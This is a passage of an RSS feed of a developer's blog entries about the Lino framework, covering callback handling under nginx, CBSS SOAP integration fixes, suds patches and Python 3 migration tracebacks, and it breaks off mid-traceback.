&lt;p&gt;I moved callback management into a separate module &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.core.callbacks.html#module-lino.core.callbacks" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.callbacks&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.
One benefit is that the code is better organized. But the main goal (if my
hopes are true) is that it now works also when running under nginx with multiple
threads (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3228"&gt;#3228&lt;/a&gt;).  This might work because the kernel is being
instantiated during a reentrant thread lock (&lt;a class="reference external" href="https://docs.python.org/3.7/library/threading.html#rlock-objects"&gt;threading.RLock()&lt;/a&gt;), which
means that callbacks were not shared accross threads.  My hope is rather vague
because I don’t yet really understand all differences between multiprocessing
and multithreading, but it is worth a try.&lt;/p&gt;
&lt;p&gt;Before publishing this I wanted to test it also under nginx.  That is I install
a getlino production server on my machine. I learned that the installation
instructions for a production server didn’t work.  The &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;env&lt;/span&gt; &lt;span class="pre"&gt;PATH=$PATH&lt;/span&gt;&lt;/code&gt; is
needed to work around the controversial Debian feature of overriding the
&lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;PATH&lt;/span&gt;&lt;/code&gt; for security reasons (&lt;a class="reference external" href="https://stackoverflow.com/questions/257616/why-does-sudo-change-the-path"&gt;source&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;The main goal isn’t reached: when I run a Lino site under nginx with multiple
worker processes, I still get the original problem: cannot delete e.g. calendar
events because Lino asks for confirmation, and if I answer OK, Lino says
“unknown callback”.&lt;/p&gt;
&lt;p&gt;Two quotes from &lt;a class="reference external" href="https://stackoverflow.com/questions/35699707/how-to-use-python-multiprocessing-module-in-django-view"&gt;How to use python
multiprocessing module in django view&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;“Though using Celery may seem an overkill, it is a well-known way of doing
asynchronous tasks. Essentially Django serves WSGI request-response cycle which
knows nothing of multiprocessing or background tasks.” (Zaur Nasibov 2016-02-29)&lt;/p&gt;
&lt;p&gt;“It really depends on the response time you want. You could have your server
respond immediately after spawning Celery tasks, or you can do multiprocessing
and then it will still take some time. Don’t bother with multiprocessing though,
I suggest using the excellent joblib library.” (Flavian Hautbois 2016-02-29)&lt;/p&gt;
&lt;p&gt;It seems that &lt;a class="reference external" href="https://joblib.readthedocs.io/en/latest/"&gt;joblib&lt;/a&gt; isn’t what we
need.&lt;/p&gt;
&lt;p&gt;I started reading about Celery:
&lt;a class="reference external" href="https://docs.celeryproject.org/en/latest/django/first-steps-with-django.html"&gt;https://docs.celeryproject.org/en/latest/django/first-steps-with-django.html&lt;/a&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="first-success-with-retrievetigroups-v2-wsdl"&gt;
&lt;h2&gt;First success with RetrieveTIGroups-v2.wsdl&lt;a class="headerlink" href="#first-success-with-retrievetigroups-v2-wsdl" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued working on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2779"&gt;#2779&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;It seems that our WSDL file (&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;/cbss/WSDL/RetrieveTIGroups-v2.wsdl&lt;/span&gt;&lt;/code&gt;)
was simply using an invalid &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;soap:address&lt;/span&gt;&lt;/code&gt; location. See the
&lt;a class="reference external" href="https://github.com/lino-framework/welfare/commit/9e3619551d9c2edbd3076e0756c067554ff4db7e"&gt;commit&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Now the connection seems to work. And I get a new error message:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../lino_welfare/modlib/cbss/tx25.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1313&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;get_data_rows&lt;/span&gt;
  &lt;span class="n"&gt;reply_has_result&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../lino_welfare/modlib/cbss/models.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;401&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reply_has_result&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reply&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;information&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="ne"&gt;AttributeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;StatusType&amp;#39;&lt;/span&gt; &lt;span class="nb"&gt;object&lt;/span&gt; &lt;span class="n"&gt;has&lt;/span&gt; &lt;span class="n"&gt;no&lt;/span&gt; &lt;span class="n"&gt;attribute&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;information&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The &lt;cite&gt;StatusType&lt;/cite&gt; is defined in
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;be/fgov/kszbcss/types/common/CommonV3.xsd&lt;/span&gt;&lt;/code&gt; as follows:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;    &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;xsd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;complexType&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;StatusType&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;xsd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;sequence&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;xsd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;element&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;information&amp;quot;&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;tns:InformationType&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;minOccurs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;maxOccurs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;15&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;xsd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;sequence&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;xsd&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;complexType&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I guess that maybe suds has changed to no longer create an attribute for an
empty list.  Or something in the XSD or the service has changed.  Anyway, by
adding a test &lt;cite&gt;if hasattr(reply.status, ‘information’)&lt;/cite&gt;, I finally get our first
successful communication with the CBSS after more than half a year of waiting:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;CBSS&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt; &lt;span class="n"&gt;MSG00012&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;NO_RESULT&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;MSG00012&lt;/span&gt; &lt;span class="n"&gt;description&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;The&lt;/span&gt; &lt;span class="n"&gt;SSIN&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt;
&lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;sufficiently&lt;/span&gt; &lt;span class="n"&gt;integrated&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;your&lt;/span&gt; &lt;span class="n"&gt;organization&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The error itself is normal since I am trying to get data about a person who is
not “integrated”, i.e. being registered as a client of this PCSW.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/1002.html</guid><pubDate>Wed, 02 Oct 2019 00:00:00 +0000</pubDate></item><item><title>Tuesday, October 1, 2019</title><link>https://luc.lino-framework.org/blog/2019/1001.html</link><description>&lt;section id="tuesday-october-1-2019"&gt;
&lt;h1&gt;Tuesday, October 1, 2019&lt;a class="headerlink" href="#tuesday-october-1-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked a bit on our community guide (&lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;I saw that Hamza had tried to fix &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3239"&gt;#3239&lt;/a&gt; and realized that the docs
about &lt;span class="target" id="index-0"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#envvar-LINO_CACHE_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;LINO_CACHE_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; were insufficient.  He had no chance to find the
easy solution.  Indeed we have two demo projects
&lt;a class="reference external" href="https://dev.lino-framework.org/projects/polls.html#module-lino_book.projects.polls" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.polls&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.polls2.html#module-lino_book.projects.polls2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.polls2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which cause
a name clash when &lt;span class="target" id="index-1"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#envvar-LINO_CACHE_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;LINO_CACHE_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is used. The simple solution was to
manually set a &lt;a class="reference external" href="https://dev.lino-framework.org/src/lino/core/site.html#lino.core.site.Site.project_name" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.site.Site.project_name&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; for the second &lt;cite&gt;mysite&lt;/cite&gt;
site.&lt;/p&gt;
&lt;p&gt;But why did this problem occur only now? The &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.polls2.html#module-lino_book.projects.polls2" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;polls2&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; demo project is quite old, isn’t it? And
&lt;span class="target" id="index-2"&gt;&lt;/span&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/dev/cache.html#envvar-LINO_CACHE_ROOT" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-envvar docutils literal notranslate"&gt;&lt;span class="pre"&gt;LINO_CACHE_ROOT&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is used on &lt;a class="reference external" href="https://dev.lino-framework.org/dev/testing.html#travis" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Travis CI&lt;/span&gt;&lt;/a&gt; already a long time, isn’t
it?&lt;/p&gt;
&lt;section id="manual-tests-on-new-server"&gt;
&lt;h2&gt;Manual tests on new server&lt;a class="headerlink" href="#manual-tests-on-new-server" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The new weleup server is basically functional. Now for the more detailed tests :
does bleaching affect some existing data? Does Tx25 now work again?&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ python manage.py checkdata -f system.BleachChecker
Started manage.py checkdata -f system.BleachChecker (using lino_local.weleup1.settings) --&amp;gt; PID 9408
Found 0 and fixed 202 data problems in Income confirmations.
Found 0 and fixed 8 data problems in Simple confirmations.
Found 0 and fixed 2 data problems in Tasks.
Found 0 and fixed 230 data problems in Budgets.
Found 0 and fixed 437 data problems in ISIPs.
Found 0 and fixed 96 data problems in Contract partners.
Found 0 and fixed 9685 data problems in Events/Notes.
Traceback (most recent call last):
  File &amp;quot;manage.py&amp;quot;, line 11, in &amp;lt;module&amp;gt;
    execute_from_command_line(sys.argv)
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/django/core/management/__init__.py&amp;quot;, line 381, in execute_from_command_line
    utility.execute()
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/django/core/management/__init__.py&amp;quot;, line 375, in execute
    self.fetch_command(subcommand).run_from_argv(self.argv)
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/django/core/management/base.py&amp;quot;, line 323, in run_from_argv
    self.execute(*args, **cmd_options)
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/django/core/management/base.py&amp;quot;, line 364, in execute
    output = self.handle(*args, **options)
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/lino/modlib/checkdata/management/commands/checkdata.py&amp;quot;, line 63, in handle
    check_data(args=args, fix=options[&amp;#39;fix&amp;#39;])
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/lino/modlib/checkdata/models.py&amp;quot;, line 349, in check_data
    todo, done = chk.update_problems(obj, False, fix)
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/lino/modlib/checkdata/choicelists.py&amp;quot;, line 139, in update_problems
    for fixable, msg in self.get_checkdata_problems(obj, fix):
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/lino/modlib/system/models.py&amp;quot;, line 228, in get_checkdata_problems
    obj.full_clean()
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/django/db/models/base.py&amp;quot;, line 1181, in full_clean
    self.clean_fields(exclude=exclude)
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/django/db/models/base.py&amp;quot;, line 1219, in clean_fields
    raw_value = getattr(self, f.attname)
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/lino/core/fields.py&amp;quot;, line 602, in __get__
    return self.value_from_object(instance, None)
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/lino/core/fields.py&amp;quot;, line 593, in value_from_object
    return m(obj, ar)
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/lino_xl/lib/outbox/models.py&amp;quot;, line 253, in get_recipients
    Recipient.objects.filter(mail=self, type=RecipientTypes.to)]
  File &amp;quot;/usr/local/lino/lino_local/weleup1/env/lib/python3.7/site-packages/lino_xl/lib/outbox/models.py&amp;quot;, line 252, in &amp;lt;listcomp&amp;gt;
    recs = [unicode(r) for r in
NameError: name &amp;#39;unicode&amp;#39; is not defined
Done manage.py checkdata -f system.BleachChecker (PID 9408)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This was a trivial py2to3 bug in a place that is not covered by any test.  I
fixed the actual problem, but did not write a test case to cover it. AFAIK
they don’t use the outbox plugin, maybe we should rather deprecate it.&lt;/p&gt;
&lt;p&gt;Now let’s test whether Tx25 works! That’s the the moment I have been waiting
for… As a first test I will just request a Tx25 for client 2000067.  And oops,
here is an error message:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;‘NoneType’ object has no attribute ‘promotePrefixes’&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I asked Google and found
&lt;a class="reference external" href="https://github.com/cackharot/suds-py3/pull/40/commits"&gt;https://github.com/cackharot/suds-py3/pull/40/commits&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;and I applied the same changes as in &lt;a class="reference external" href="https://github.com/cackharot/suds-py3/pull/40/commits/ed38f29d97adbe08bb41d5c64d08a16d7e8589b0"&gt;this commit&lt;/a&gt;
which is not yet released to the suds master. Great! This seems to fix the
issue!&lt;/p&gt;
&lt;p&gt;Afterwards I get another error. Probably caused because their firewall prevents
the new server from connecting to the CBSS:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2019&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;01&lt;/span&gt; &lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mf"&gt;40.401201&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;Traceback&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;most&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="n"&gt;call&lt;/span&gt; &lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/urllib/request.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1317&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;do_open&lt;/span&gt;
    &lt;span class="n"&gt;encode_chunked&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;has_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;Transfer-encoding&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/http/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1229&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_send_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encode_chunked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/http/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1275&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_send_request&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;endheaders&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encode_chunked&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;encode_chunked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/http/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1224&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;endheaders&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;_send_output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;message_body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;encode_chunked&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;encode_chunked&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/http/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1016&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;_send_output&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/http/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;956&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;send&lt;/span&gt;
    &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/http/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;1384&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt;
    &lt;span class="nb"&gt;super&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/http/client.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;928&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;connect&lt;/span&gt;
    &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;source_address&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/socket.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;707&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;create_connection&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;getaddrinfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="n"&gt;File&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;/usr/lib/python3.7/socket.py&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="mi"&gt;748&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;getaddrinfo&lt;/span&gt;
